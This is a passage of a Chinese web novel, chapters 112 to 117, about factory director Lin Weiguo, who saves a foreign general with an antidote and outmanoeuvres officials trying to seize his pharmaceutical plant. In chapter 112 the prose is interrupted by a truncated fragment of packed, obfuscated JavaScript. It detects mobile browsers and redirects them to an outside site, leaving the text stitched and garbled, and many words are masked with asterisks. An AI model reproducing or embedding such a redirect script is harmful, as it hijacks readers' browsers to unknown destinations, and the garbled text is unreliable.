巨大的震惊与理智的撕扯中，她凝视着眼前这个屡创奇迹的年轻人。那双深邃、平静、仿佛蕴含整片星空的眼眸。 终于。 她重重地点头，用上所有身家性命的决绝吐出两个字： “我赌！” …… 一小时后。 省城军用机场。 一支特殊队伍火速集结！ 巨大的轰鸣撕破夜空，直扑安平！ 飞机很快降落在安平县的机场。 众人在簇拥下，赶往林卫国的工厂。 第112章 厂长妥协了！ 这突如其来的巨大动静，间惊动了安平县的最高层。 县委大院，**办公室内。 “胡闹！简直是无法无天！” 高**对着话筒怒吼：“钱国栋呢？！林卫国呢？！让他们立刻滚过来见我！” “钱县长和林厂长，现在……现在都在制药厂，好像……在准备抢救那个外国人。” “抢救？” 高**气得冷笑一声，“开什么国际玩笑！” “备车！叫上县委办和**局的人！马上去卫国制药厂！” …… 卫国制药厂核心实验室。 王建民、钱进、汉斯几人早已各就各位，争分夺秒地进行设备最终调试。 就在这关键时刻！ “吱嘎！” 几辆黑色轿车忽然停在车间门口。 高**领着一大群干部和**人员，气势汹汹地闯了进来。 “都给我停手！” 高**劈头就是一声厉喝。 他指着忙碌的众人，因暴怒而涨红的脸在逆光中显得格外阴沉。 “钱国栋同志！林卫国同志！你们眼里还有没有组织纪律？！还有没有我这个县委**？！” 钱国栋急忙上前解释：“高**，您听我说，情况紧急……” “紧急？” 高**粗暴地打断他，“我看是你们的胆子太大！这么重大的涉外事件，不经过县委讨论，不向省里请示，就敢擅自把人弄到安平？！” “你们这哪里是救人？！这是拿国家的外交声誉当儿戏！” “万一，我是说万一，这个人在这里出了事，责任你们担得起吗？！我担得起吗？！” “你们干什么？！”巴维尔教授激动地用生硬的中文质问：“没时间了！为什么不让林医生救人？！” “放肆！” 一名警卫立刻上前，粗暴地将教授推开，“这里是华国！轮不到外国人指手画脚！” 维克多眼中爆出一阵凶芒，场面瞬间剑拔**张！ 钱国栋和赵胜利等人心急如焚，却又不敢公然对抗县里的一把手，只能在一旁干瞪眼。 就在此时，林卫国终于动了。 他平静地对一旁的通讯员道：“接京城，西山专线。” 片刻沉寂后，在众人惊疑的目光中，电传机突然吐出一张电报纸。 林卫国将其拿起，放到高**面前。 这电报，竟是一条军令！ 【特急军令】?6?7?6?7 兹命令，安平县卫国制药厂即刻划为临时军事管制区，执行特级国家保密任务。 任务期间，安平县地方所有单位及个人，必须无条件配合。 凡阻挠、拖延、泄密者，一律以破坏国防安全论处！ 命令下方，盖着省军区最高权力印章。 印章旁，是一个足以让任何体制内的人灵魂震颤的签名，秦振邦！ 高**看到命令之后，面色瞬间一片惨白，毫无血色。 林卫国甚至没再看他一眼。 他转过身，面向团队，沉声开口：“所有人，各就各位。” “我们的时间，不多了！” 解药合成正式开始！ 但新的阻碍，来得比预想更快。 “厂长！出事了！” 赵胜利一头冲进会议室：“电力局和水厂那边在使绊子！” 合成解药，尤其是关键的聚合反应阶段，必须要有强持续不断的电力以及巨量的超纯净化水。 工厂自身的供应能力远远不够，必须依赖县电力局和自来水厂的全力保障。 “刘局长和马厂长刚带人来过。” “他们说全力供我们用电用水，设备就得二十四小时超负荷运转……” “所以？” 林卫国头也没抬，继续调试反应釜。 “所以他们要条件！” 赵胜利急道：“要二十个卫国一号家属楼的内部福利房名额！说是给工人当精神补偿的！” 话音刚落，会议室门开了。 县电力局刘局长和水厂马厂长背着手，满面春风地踱步进来。 “林厂长，别来无恙。” 刘局长环视一圈急得像热锅蚂蚁的专家和领导，脸上是大权在握的得意笑容。 “**的趁火**！” 赵胜利拍案而起，指着两人鼻子怒吼：“你们这是敲诈！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230231|181216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哎，赵厂长，话别说得这么难听嘛。” 刘局长慢悠悠掏出烟，一旁的马厂长立刻谄媚地为他点上。 刘局长惬意地吐着烟圈：“我们也是响应高**号召，给下面工人争取应得的福利。” “你……” 赵胜利气得浑身发抖，话都说不出来。 “钱！我们可以出钱！高价买电买水！多少外汇都行！” 巴维尔急切表态。 刘局长轻蔑一笑：“外汇？同志，在华国，有些东西可不是靠钱就能办到的。” 时间一分一秒流逝。 实验室里的卡捷琳娜和其他专家急得团团转。 这边的刘、马二人，却如同稳坐钓鱼台的渔翁，慢悠悠品着茶，欣赏着众人焦灼无力却又束手无策的模样。 就在所有人都以为大局为重，林卫国不得不咬牙认下这无理条件时，林卫国却笑了。 他站起身，脸上不见丝毫怒火焦躁，反而挂着和煦如春风的笑意。 他走上前，亲**拍了拍两人的肩膀。 “刘局，马厂，二位心系工友，为民**，林某佩服。”林卫国笑容不减，“不过事大，在这儿谈不合适。” “两位领导，不如移步我办公室？咱们关上门，私下好好谈谈这个条件，怎么样？” 刘局长和马厂长对视一眼，彼此眼中都闪过计谋得逞的精光。 他们认为林卫国扛不住压力，准备认怂了。 “好说，好说。林厂长爽快人。” 厂长办公室的门被紧紧关上。 门外，赵胜利、王建民、卡捷琳娜等人急得来回踱步。 “完了！厂长妥协了！” 赵胜利捶胸顿足，“二十个名额给出去，厂里那些老工人非闹翻天不可！” “现在不是担心这个的时候！” 巴维尔教授焦急地看着手表，“时间！我们最缺的是时间！” 一扇门，隔绝两个世界。 没人知道里面谈些什么。 十分钟。 对门外众人而言，漫长得像一个世纪。 门开了。 刘局长和马厂长一前一后走出来，来时那副春风得意荡然无存！ 第113章 我绝不同意！ 此刻两人面如金纸，像是被抽掉了骨头。 他们不敢看任何人一眼，跌跌撞撞冲向走廊尽头的电话机！ 刘局长手指哆嗦，几次都拨不对号码。 电话接通，他几乎是哭喊着对听筒咆哮： “调度室！所有线路立刻并网！市里那条备用工业专线也给我接过来！启动所有备用发电机！所有人三班倒！二十四小时连轴转！谁敢让卫国制药厂断一秒钟电，我亲手扒他的皮！” 另一边，水厂马厂长也颤抖着嘶吼： “所有增压泵打开！净化池过滤等级调到最高！市委大院用水也给我先停了！所有水都给我调到卫国制药厂来！谁敢耽误林厂长大事，自己洗干净脖子等着！” 在所有人惊愕的目光中，林卫国平静的走出办公室。 敢公然违抗上级命令的，他还真是头回见。 不让他们知道点厉害，他们还真要翻天了。 外部危机解除，但真正的考验，才刚刚开始。 核心实验室内，冰冷的仪器嗡鸣是唯一的背景音。 “聚合反应完成！” “离心萃取正常！” “分子结构初步稳定！” 钱进、汉斯、王建民，这支由林卫国统筹的多国部队，配合无间，效率惊人。解药的合成，正以前所未有的速度推进！ 墙上鲜红的倒计时数字，已从最初的二十四小时，跳到了六小时！ “厂长！所有步骤都完成了！” 钱进脸上难掩激动：“只差最后一步！加入配方要求的Z-3型复合微量元素催化剂，让分子结构彻底稳定，我们就成功了！” 胜利似乎触手可及。 然而，林卫国的眉头却紧紧锁着，没有丝毫放松。 前世记忆和配方都明确指出，必须加入一种极其特殊的微量元素作为催化剂，才能让那复杂的有机化合物最终成型。 “德米特里教授，” 林卫国转向一直沉默旁观的北方联盟总工程师，对方眼神复杂，“我需要的Z-3型催化剂，带来了吗？” 德米特里点头示意。 他的助手立刻递上一个铅盒密封的小金属瓶。 “林先生，这是我们科学院材料库中提取的最高纯度样本，完全符合您的要求。” 林卫国接过瓶子，掂了掂，又凑近鼻尖轻嗅。 下一秒，他脸色骤变。 “不对，这不是我要的东西。” “什么？！” “不可能！” 德米特里一把夺回瓶子，声音激动，“这是我们能找到的最高纯度样本！元素构成反复核对过，和配方要求分毫不差！绝不会有错！” 为了证明，他立刻命令手下专家用便携质谱仪现场检测。 结果清晰显示，瓶内催化剂的元素构成和比例，与配方要求并不完全一致。 实验室瞬间陷入死寂。 刚刚燃起的希望之火，被兜头浇灭。 “怎么会……怎么会这样……” 巴维尔教授盯着仪器上“完美”的数据，眼神绝望，喃喃自语，“原料最高纯度，步骤完美无缺……为什么……为什么还是不行？” 钱进和汉斯也冲到黑板前，用尽毕生所学疯狂推演计算，试图找到替代方案。 但最终，他们颓然放下粉笔。 那解药的分子结构过于特殊稳定，没有那把独一无二的钥匙，任何外力都无法将其彻底激活。 合成，陷入绝境。 墙上鲜红的倒计时还在跳动。 三小时！ 两小时！ 一小时！ 深深的无力感攫住了所有人。 难道付出如此巨大努力后，最终还是要眼睁睁看着伊万诺夫将军走向死亡？ 此时林卫国缓缓闭上了眼睛。 这一刻，他彻底放空，启动了与他融为一体的【上古炼药术】感知。 意识仿佛挣脱了身体束缚，沉入一个由无数微观粒子与能量流构成的玄妙世界。 他看到了来自北方联盟的原料：纯净、精粹，却带着西伯利亚针叶林特有的冰冷凛冽气息。 他也看到了那定制毒素：霸道、顽固，散发着工业时代硫磺与金属的死亡味道。 问题究竟出在哪里？ 原料没错，配方没错，步骤也没错…… 突然！ 一道灵光如闪电劈开迷雾！ 他震惊地发现，根源既非原料，也非设备！ 而是水！ 那“定制毒素”是在北方联盟工业区的水源环境下形成的！ 它的分子结构，早已深深烙印下那片土地独一无二的水土印记！ 要中和它，打破它顽固的化学键，恰恰需要一种截然不同的活水作为关键反应介质！ 这才是那把失落的钥匙！ 而这种特殊的矿物配比…… 林卫国的感知瞬间穿透实验室墙壁，穿透厚厚土层，深入工厂后院那口他从小喝到大的古老水井深处！ 当他看清那在地下岩层流淌千年的清澈井水中，蕴含的矿物微量元素配比时，他恍然大悟！ 八分相似！ 竟与配方中那最关键的Z-3型催化剂元素构成，至少有八分相似！ 这简直是天意！是生养他的土地，在绝境中送来的厚礼！ “我知道了！” 林卫国猛地睁眼，眼中精光爆射！ 他再无犹豫，转身冲出实验室！ “林先生！你去哪儿？” “厂长！” 在众人错愕不解的目光中，林卫国如风般冲到后院那口被遗忘的老井旁！ 他扔掉水泵，亲自拎起沉重木桶，奋力从数十米深的井下打上一桶井水！ 随即，他端着井水，再次冲回实验室！ 木桶被重重放在实验台中央，水珠滴落。 “用这个！” “不！我绝不同意！” 巴维尔第一个反映过来。 他张开双臂，死死挡在反应釜前。 “林先生！我尊重您的医术，” “但恕我直言，您现在的行为不是科学！” “我们耗尽心血合成的救命药！您竟然要用脏水做催化剂？！” “这是对科学的亵渎！是对伊万诺夫将军生命的践踏！” 他的话立刻得到在场所有北方联盟专家，以及德国工程师汉斯的附和。 “教授说得对！太荒谬了！” “不能让脏水毁掉最后的机会！” 面对信奉精密科学的专家们的强烈反对，林卫国没有辩解。 他知道此刻言语苍白。 “教授，眼见为实。” 说完，他当众进行了一场足以颠覆所有人科学信仰的对比实验。 第114章 现在，可以了吗？ 林卫国小心翼翼用滴管从反应釜取出两滴珍贵的淡蓝色半成品药液。 接着，他准备好两个干净培养皿：一个盛着北方联盟带来的医用蒸馏水；另一个盛着他刚从井里打上的清澈井水。 他将两滴药液分别滴入两个培养皿，然后将它们放在自己改造的高倍数光学显微镜下，影像同步到墙壁的大屏幕上。 “请看。” 整个实验室瞬间寂静，所有人屏息凝神，死死盯着屏幕。 屏幕上，两个泾渭分明的微观世界清晰呈现。 左边，纯净水画面中，淡蓝色的药液分子链在纯净环境下极不稳定。 右边，井水画面中，奇迹发生了！ 那些同样松散的分子链，在与井水中那些矿物微量元素接触的瞬间，便开始疯狂的吸收。 随即以近乎艺术般的完美方式形成一个稳固的闭环结构！ “我的上帝……” “这……怎么可能？！” 铁证如山，所有质疑烟消云散。 “现在，可以了吗？” 林卫国平静地问。 巴维尔教授像被抽干了力气，缓缓地点了点头。 林卫国不再犹豫。 他亲自端起井水，将其缓缓注入反应釜。 最终的解药，成功合成！ 闪烁着淡蓝色光芒的药剂，被立刻注入伊万诺夫将军的身体里。 时间仿佛凝固。 所有人屏住呼吸，死死盯着监护仪上那几条几乎拉成直线的心率和血压曲线。 一秒。十秒。一分钟。 “嘀！” 一声轻微却无比清晰的声响，从心率监测仪传来！ 紧接着！ “嘀！嘀！嘀！” 一下，两下，三下…… 生命曲线奇迹般回升！血压回升！心率恢复！血氧攀升！ “天哪！上帝啊！” 巴维尔教授看着仪器上不断向好的数据，激动得老泪纵横，浑身发抖。 半小时后。 老将军缓缓地睁开了双眼。 危机彻底解除！ 卡捷琳娜喜极而泣，她走到林卫国面前，郑重承诺： “林先生，您的恩情，北方联盟永世不忘。我以家族名义保证，从今往后，您将是我们永恒的盟友！” …… 次日，盛大的送别宴上，气氛欢庆。 为表达最私人的诚挚谢意，卡捷琳娜将一个随身携带的胡桃木首饰盒赠予林卫国。 “林先生，这是我祖父的遗物。” “听他说，是很多年前，一位救过他性命的中国医生朋友所赠。我想，在您这位神奇的东方医生手中，它算是回到了真正的故乡。” 林卫国微笑着接过盒子。 然而，当他打开盒盖的瞬间，笑容骤然凝固！ 九分队银星章！ 这枚勋章他太熟悉了！ 父亲林长山就有一枚！ 可为何这种勋章，会出现在一位北方联盟元帅的遗物中？ “卡捷琳娜同志，” 林卫国尽量平静地问道，“您能告诉我，当年救您祖父的那位中国医生……他叫什么名字吗？” 卡捷琳娜凝视着勋章，眼中掠过一丝追忆。 “祖父提起过。具体的名字我祖父也并不清楚，那位中国医生只留下了一个姓氏，张。” 张！ 这个姓氏如同一道黑色闪电，狠狠劈在林卫国心头！ 太多线索瞬间串联！ 在京城被捕的那个九分队叛徒，张怀德！ 父亲林长山那份幸存者名单上，同样赫然在列的另一个姓张的队员！ 当年，究竟发生了什么？ 救了卡捷琳娜祖父的，究竟是哪一个张？ 他是英雄，还是……另一个潜伏更深的叛徒？ 所有线索骤然纠缠不清，如同笼罩在历史深处的浓雾，令人窒息。 …… 与林卫国内心的波澜壮阔截然不同，整个安平县正沉浸在巨大的、前所未有的喜悦中。 北方联盟的承诺兑现之快，远超所有人预期！ 卡捷琳娜回国仅三天，第一批军用专机运送的顶级珍稀药材便如雪片般源源不断抵达安平！ 长白山难寻的百年老山参！ 带着原始森林气息的野生鹿茸！ 还有一箱箱来自西伯利亚高寒地区、品质远超国内的各类珍品！ 短短一星期，不仅“十万盒”军令状所需的原料全部到位，连卫国制药厂新建仓库里，也堆满了足以支撑未来一整年生产的储备！ 作为额外感谢，北方联盟还赠送了一批从西欧采购的全新高精度机床！ 工厂十万盒的任务危机，彻底解除！ 卫国制药厂沸腾了！工人们脸上洋溢着从未有过的、发自心底的自豪和笑容！ 然而，世间福祸相依。 林卫国在北方联盟取得的巨大成功，以及他所展现出的惊人能量，彻底激怒了京城和省里某些视他为眼中钉的保守派系。 他们无法明着攻击这位刚为国家立下奇功的国际英雄。 于是，那些淬毒的矛头，便悄然转向了他的根基，转向了那只被觊觎已久的“金鸡”——卫国制药厂。 …… 省政府，富丽堂皇的办公室内。 新上任主管全省工业的副省长王宗德正听取汇报。 此人正是当初在京城专家会上被林卫国的地基论驳得哑口无言的某专家的亲外甥，更是贺卫东派系倒台前的密切关联者。 “安平模式？乡镇企业野蛮生长？”王宗德听完汇报，嘴角勾起冰冷的不屑弧度。 他放下茶杯，语气不容置疑地对秘书吩咐：“通知下去，下周在省城召开全省国营药厂‘生产标准化’工作会议。” “是时候给这些不知天高地厚的乡镇企业，好好立一立规矩了。” 一周后，省城生产标准化会议。 王宗德发表了长达一小时、充满官样文章的讲话。 结尾处，他话锋骤转，矛头直指安平县卫国制药厂！ “……尤其是个别乡镇企业，取得些微不足道的成绩就沾沾自喜，固步自封！搞什么自创‘模式’！这是典型的本位主义！是阻碍全省工业化进程的绊脚石！” 王宗德猛地一拍桌子，声色俱厉地宣布： “我决定！即日起，由省工业厅牵头，成立联合工作组，对安平县卫国制药厂所谓的安平生产模式进行全面的审查和标准化改造！” “目的就是要统一标准，便于管理，彻底根除这种乡镇企业无序发展的歪风邪气！” 这决定如同炸弹，在省内工业系统轰然炸响！ 所有人心里都清楚，这哪里是审查改造？ 分明是来摘桃子、抢饭碗了！ …… “厂长！大事不好！” “您快看！快看看这个！”赵胜利的声音都在颤抖，“那个新来的王副省长，要搞什么标准化改造！还要派工作组进驻我们厂！” “这……这和当年派工作队下来指导有什么区别？” “咱豁出命去，没日没夜，好不容易把厂子干出点样子！他们倒好，一纸文件就想来摘桃子了？！” 第115章 他要权力？ “豁出命没日没夜干活，厂子刚有点起色，他们就想凭一纸文件就接手？” “厂长，咱可不能答应啊！” “上京城！找秦老将军出面！” “有老爷子撑腰，看省里那帮人还敢不敢这么张狂！” 对！ 找秦老！ 众人你一言我一语，越说越激动，脸都涨得通红。 在他们看来，省里下来的那个庞然大物，也只有京城那位更有分量的靠山能镇得住。 然而，在一片焦躁的声浪当中，林卫国却安静得出奇。 烟雾笼罩着他的脸。 眼神平静如水。 直到最后一句喊声落下，他才不紧不慢地在铁皮烟灰缸里把烟头捻灭。 “都说完了？” 他抬起眼睛。 目光缓缓从人群上扫过。 那平静的眼神仿佛带着一种力量。 嗡嗡响的空气瞬间就安静了下来。 “去京城，找秦老，然后呢？” 赵胜利愣住了： “让秦老打个招呼，撤了这狗屁工作组！” “这次撤了，下次呢？” 林卫国反问道： “王宗德能爬到那个位置，背后能干净？” “这次靠秦老把这事压下去，不但欠了人情，而且也就彻底把关系搞僵了。” “下次他换个借口再来，怎么办？” “再去求老爷子？” “咱们厂的招牌是自己打拼出来的，不是靠谁的拐杖！” 这番话就像兜头浇下来的凉水。 把众人眼里的火苗给浇灭了。 只留下冰冷的空虚和无助。 求援？ 能求几次？ 难道还能求一辈子不成？ 王建民闷声闷气地问： “那……厂长，你说该怎么办？” “总不能真就眼睁睁看着他们把厂子夺走！” 林卫国嘴角微微勾起一丝很淡、却锐利得如同刀锋的弧度。 “夺？” “他们的手还没那么长呢。” 他起身走到窗前。 楼下车间灯火通明的景象映在他的眼底。 “这次人家不是冲着我来的，是冲着咱们厂的经营路子来的。” “这是一场不能退缩的战斗！” “靠求人情只能挡一阵子，要想让他们彻底闭嘴……” “……就得把他们打服！” “我心里有底。” 他丢下这话，便不再言语。 只留给众人一个笃定的背影和车间机器轰鸣的背景音。 这份镇定让赵胜利、王建民等人稍感心安。 他们相信林卫国总有办法。 但更深的疑惑，已如同种子悄然埋下。 …… 第二天。 三辆崭新黑色轿车在吉普引导下，径直驶入卫国制药厂。 省工业厅规划处副处长李建国，在一众专家簇拥下走下车。 笔挺中山装。 头发锃亮。 金丝眼镜后的眼神充满倨傲与审视。 他无视迎接的赵胜利等人。 直接要求召开全厂中层会议。 会议室里，李建国手持红头文件。 清了清嗓子。 拖着官腔开口： “同志们！” “今天我代表省厅、代表王宗德副省长，来看望大家！” 他顿了顿。 享受台下干部们紧张的目光。 才慢悠悠继续： “安平县卫国制药厂，作为省内优秀乡镇企业，取得成绩是值得肯定的。” “但是！” 话锋陡然一转。 声音严厉： “也要清醒！” “这些成绩很大程度上是靠政策东风，靠一股冲劲儿！” “是野蛮生长，不规范、不科学！” “这种小作坊模式，要承担国家级援外任务？” “远远不够！” “危险！” 他挥舞着文件。 唾沫横飞。 “什么是现代化工业？” “是标准化！” “规范化！” “每个流程、每个数据都必须有章可循！” “靠老师傅经验？” “靠厂长个人威望？” “这种人治，是落后的、要被淘汰的！” 这番话句句诛心。 将卫国制药厂呕心沥血摸索出的“安平模式”，贬低得一文不值！ 赵胜利拳头攥得咯咯响。 王建民脸憋得要滴血。 几个车间主任眼看就要拍案而起！ 就在这千钧一发之际。 “说得好！” 林卫国突然起身。 带头鼓起掌。 清脆的掌声在死寂中回荡。 所有人都懵了。 赵胜利和王建民死死盯着林卫国。 难以置信。 李建国准备好的满腹理论和呵斥，也被这突兀打断。 他眯眼打量着满面春风的年轻人。 林卫国走上前。 热情握住李建国的手。 “李处长！” “您这番话真是说到心坎里，醍醐灌顶啊！” 他转向台下呆若木鸡的干部们： “同志们！” “我早说过，厂子虽然有点小成绩，但底子薄。” “尤其科学管理和理论指导，更是摸着石头过河！” “正愁找不到方向，省厅就派来了李处长这样的专家！” “这不是及时雨是什么？！” 他再次转向李建国。 态度诚恳： “李处长，我代表卫国制药厂全体职工表态！” “从今天起，全厂生产管理工作，全部移交给工作组！” “我们坚决服从、全力支持、无条件配合工作组的一切审查和改造！” “请同志们放开手脚，大胆干！” “我们一定虚心学习，把咱厂建成全省乃至全国的标准化样板！” 林卫国声音慷慨激昂。 掷地有声。 李建国彻底愣住了。 他准备的打压说辞，一句也用不上了。 对方不仅躺平，还把他捧上了天。 他审视着那张真诚笑脸。 心底轻蔑更盛。 不过是个会说场面话的毛头小子，外强中干。 王副省长高看他了。 “嗯，林厂长觉悟很高嘛。” 李建国心满意足。 官派十足地摆手： “具体工作，明天就开始。” 会议结束。 李建国志得意满。 立刻向王宗德副省长汇报： 林卫国不堪一击，已彻底缴械。 卫国制药厂的干部们则炸了锅。 把林卫国的办公室围得水泄不通。 “厂长！” “你糊涂啦！” 赵胜利急得跺脚： “怎么能答应他？” “这是引狼入室！” “是啊厂长！” “让他们瞎指挥，好好的生产线非被折腾垮不可！” 面对一张张忧心忡忡的脸。 林卫国只是笑着递过茶杯。 “老赵，老王，都坐。” 他示意众人关门。 “你们真以为，我认怂了？” 他嘴角勾起意味深长的弧度。 赵胜利一愣： “那……是为什么？” 林卫国端起茶杯。 轻轻吹开浮叶。 “跟这种人，讲道理没用。” “你越反驳，他越来劲，帽子扣得越大。” “对付他们，最好的法子不是辩论……” “……是让他们自己，把那套僵化、脱离实际的‘标准’，原原本本摆在所有工人面前！” 他放下茶杯。 眼中寒光一闪。 “我就是要他李建国，用他那套‘科学’办法去管咱们的工人！” “我要让全厂上下亲身体会，到底是咱的‘土办法’好使，还是他那套中看不中用的‘洋规矩’管用！” “他要标准？” “我给！” “他要权力？” “我给足！” “我倒要看看，一个月后，他拿着那份惨不忍睹的生产报表，怎么跟王宗德交代。” 林卫国看着恍然的众人。 一字一顿： “这不叫妥协。” “这叫，引蛇出洞，关门打狗！” 第116章 这不是投降 省工作组的车队在工人们复杂目光的注视下，驶进了卫国制药厂。 赵胜利和王建民强抑着怒火，带着厂干部迎上前去。 “李处长，欢迎啊。”赵胜利勉强挤出一丝笑容。 李建国应了一声，直接带人朝办公楼走去。 远处围观的工人们低声议论着，他们想不明白，自己拼死拼活做出的成绩，最后怎么就成了为他人做嫁衣呢。 所有人都预料到，等会儿肯定会有一场激烈的唇枪舌战。 林厂长肯定会挺身而出，像以往那样，把这些高高在上的官僚说得哑口无言。 然而林卫国的反应，让所有人都惊愕不已。 他召开了全厂干部职工大会。 在大会议室里，赵胜利和王建民紧挨着林卫国坐着，脸色阴沉。 李建国却大大咧咧地坐在主席台正中央，浑身透着掌控一切的得意劲儿。 会议开始了。 林卫国站起身，稳步走上讲台。 “同志们！”他声音很洪亮，“今天咱们卫国制药厂，迎来了大喜的日子！” 第一句话，就让台下的赵胜利眼前一黑，差点摔倒。 “首先，让我们用最热烈的掌声，欢迎省工业厅的领导和专家们，到咱们厂来检查指导工作！” 林卫国率先鼓起了掌。 稀稀拉拉的掌声很是尴尬地响了起来，工人们你看看我，我看看你，完全搞不清厂长这葫芦里卖的啥药。 李建国端着茶杯，嘴角挂着轻蔑的冷笑。他倒要看看，这小子能搞出什么名堂来。 林卫国话锋突然一转，竟然当众做了一场近乎屈辱的自我检讨。 “李处长，各位专家，同志们！借着这个宝贵的机会，我代表厂领导班子，向大家，更要向省厅领导，诚恳地检讨！”他朝着台下深深地鞠了一躬。 “我林卫国，年轻识浅，管理经验不足！厂里这套安平模式，摸着石头过河是美言，实际……是未经科学论证的土办法！” “其中存在严重的不科学、不规范问题！我个人负主要责任！” “我一直盼着，盼上级专家指点迷津、传经送宝！今天终于盼来李处长一行！您的到来，对卫国制药厂，就是一场救命雨啊！” 他言辞恳切，情真意切。 赵胜利和王建民完全懵了，张着嘴，脑中空白。他们甚至怀疑：台上这人，还是那个杀伐果断、运筹帷幄的林厂长吗？ 主席台上的李建国，脸上的轻蔑化作毫不掩饰的得意。他悠闲地靠在椅背上，呷了口茶：呵，软骨头！还没较量就跪了。 就在这诡异的死寂中，林卫国抛出一颗足以让所有人思维停滞的重磅炸弹。 他清了清嗓子，语气无比郑重。 “为了更好地、更深刻地学习省厅的先进管理经验，为了让药厂生产管理水平尽快与国际接轨！我决定，从即日起，我厂所有生产管理权、人事调度权、生产流程最终制定权，移交李建国处长亲自带领的省厅联合工作组！” “我本人及厂领导班子全体成员，将全力配合工作组！虚心学习！深刻改造！争取早日将药厂打造成全省、全国的标准化生产样板！” 轰！ 全场哗然！ “厂长！”赵胜利猛地从椅子上弹起，就要拍案！ “老赵！”王建民死死按住他手臂。 他也是一愣，比赵胜利多了一丝冷静。他知道：林卫国是不可能这么容易就放弃的！一定有诈！ 台下的工人们彻底炸了： “啥？把厂子交给外人管？” “厂长咋了？魂给吓没了？” “完了！天塌了！主心骨倒了！” 他们心中的神，财神爷，怎么就在省里人面前缴了械？ 猜疑与流言如野火蔓延，全厂士气瞬间跌入谷底。 …… 会议结束。 李建国志得意满回了招待所。 赵胜利、王建民两只斗牛般的大公鸡撞进林卫国办公室，哐叽一声将门关上。 “林卫国！你说这话是想找死啊？你要真这么干的话，就等于让我们好不容易挣下的家业送人了。”赵胜利用手指指着他鼻尖。 “厂长，你得想想办法啊！不能这样看着我们企业完蛋……你再这么搞我们就没指望了……”二人神情悲愤异常。 对于二人指责式的质问，林卫国表情自若，并不慌张不安，反而走到门口轻轻反锁上了房门，当他背转身去时，满脸尽是阴狠沉静和利剑般的目光。 “老赵，老王，坐。”他给两人倒了茶。 “你们真以为，我怕了王宗德？” 赵胜利一愣：“那你是……” 林卫国道，端起茶杯，嘴角染上森然的笑意：“王宗德这货啊，你跟他辩经没用，他是根子上就不带你。你越是反抗帽子越扣得大，手段越狠。” “唯一的办法，是捧杀。” 他看着二人的半睡半醒的样子，又说：“他说他是标准科学，他还派了李建国这个专家。好！我退一步，请客官上台，我把权柄都交给他，让他好好表演一番，用你们那狗屁科学的章程去管工人、指挥生产！” “我要让他们全厂的人都亲眼看看，是咱们的办法高明，还是检查组的办法高明。” “这不是投降。” 林卫国放下茶杯，眼中寒光一闪，“这是挖坑，一个足够埋了王宗德和他所有心腹的大坑。现在，就等着李建国这条蛇……自己往里跳。” 赵胜利和王建民听罢，心中如惊涛拍岸！两人对视一眼，尽是震撼 高！实在是高！ 这哪里是认怂？分明是要把对手架在火上，等他们自己烤焦！ …… 县招待所。 李建国正志得意满地向省城的王宗德副省长电话邀功。 语气满是轻蔑与不屑：“王副省长，您放心！都解决了！那个林卫国，外强中干，几句话就被我镇住！现在整个厂都归我了，他说要虚心学习呢！” 电话那头传来王宗德畅快的大笑：“好！建国，干得漂亮！” 李建国腰杆挺得更直，谄媚道：“您等着！不出一个月，我就把这个乌烟瘴气的破厂子，给您整成全省标准化样板！到时候，给您献份厚礼！” 他全不知晓，他和口中的厚礼，已成别人瓮中之鳖，网中之鱼。阴影，正悄然合拢。 第117章 成立技术革新小组 李建国夺权后的第一天，便雷厉风行地开始了标准化改造。 当天，一张告示就被贴出来，吸引了所有工人的注意。 告示中写明了三条全新的规则，全厂工人必须严格遵守。 第一条：废除林卫国时期设立的一切超额奖金、技术革新奖和现金激励制度。 所有工人工资按本地区国营大厂平均水平发放。 第二条，即日起，全厂使用标准化生产操作手册，要求每个工人严格遵循手册操作，何偏离手册的经验主义行为，都将被视作严重违规，轻则罚款，重则开除。 第三条，建立每日思想学习会制度，每天下班后，强制进行一小时思想学习，学习结束须写思想汇报，每周上交。 告示一出，全厂立刻一片哀嚎，抱怨声不断。 但李建国好像根本听不见一样，当天就开始施行了。 而林卫国对一切仿佛毫无察觉，他甚至没去车间。 不过当天下午，林卫国在办公室召集几位省城顶尖技术员，开了一场闭门会议。 钱进首先开口：“林厂长，怎么办？李建国这么折腾，厂子撑不了一星期！” “那个李就是个蠢货！外行指挥内行，规定违背工业原理！” 林卫国摆摆手，示意安静。 他脸上不见焦躁。 “各位，今天叫你们来，不为抱怨。” “我决定成立技术革新小组。名义上，是响应工作组号召，让我们技术人员闭门思过，学习省里带来的先进理论，为工厂储备技术。” “我已收拾好后院最偏僻的废弃仓库作为办公室。” “没有我允许，任何人不得靠近。我们要和生产一线隔离，做个姿态。” 钱进和汉斯怔住了：难道真要认输？只有苏晚夏捕捉到林卫国眼底藏着的锐利锋芒。 果然，林卫国接下来的话点燃全场：“但这是对外说法！真相是，我把你们抽调出来，是为更重要的秘密任务。” 他走到黑板前，用粉笔写下一行字：通脉丹原料利用率，提升百分之二十。 “李建国说咱们的安平模式是土办法？好！趁他恩赐的这段空闲时间，我们突破通脉丹最关键的瓶颈！” 他眼中火花迸射：“现在的原料利用率是百分之七十，够不够？不！我要你们在仓库里优化萃取和合成流程，把利用率提到百分之九十以上！” 话音如惊雷炸响。钱进和汉斯这两个技术狂人呼吸急促——百分之二十的提升，简直是场革命！一旦成功，卫国制药厂成本将锐减，利润翻倍，甚至能与世界顶尖药企扳手腕。 钱进声音发颤：“林厂长，这能行吗？” 林卫国斩钉截铁：“行不行，干过才知道！我不仅要成果，还要你们完整记录每一步实验、公式、失败与成功。写份够格载入中国制药史的技术报告！” 他目光如刀：“李建国不是要标准吗？我就给他一个他连仰望都不配的王炸级标准！用这份成果，当着所有人的面，抽烂他的脸！抽烂那些质疑者的脸！” 这番话烧尽了所有憋屈。钱进眼中精光四射：“干了！拿不下这项目，我们提头来见！” 一场秘密的攻坚战，在仓库的阴影中悄然拉开序幕。 …… 新规落地后的第三天，冲突便不可避免地爆发了。 按照《标准化生产操作手册》处理工厂的问题，麻烦接踵而至。 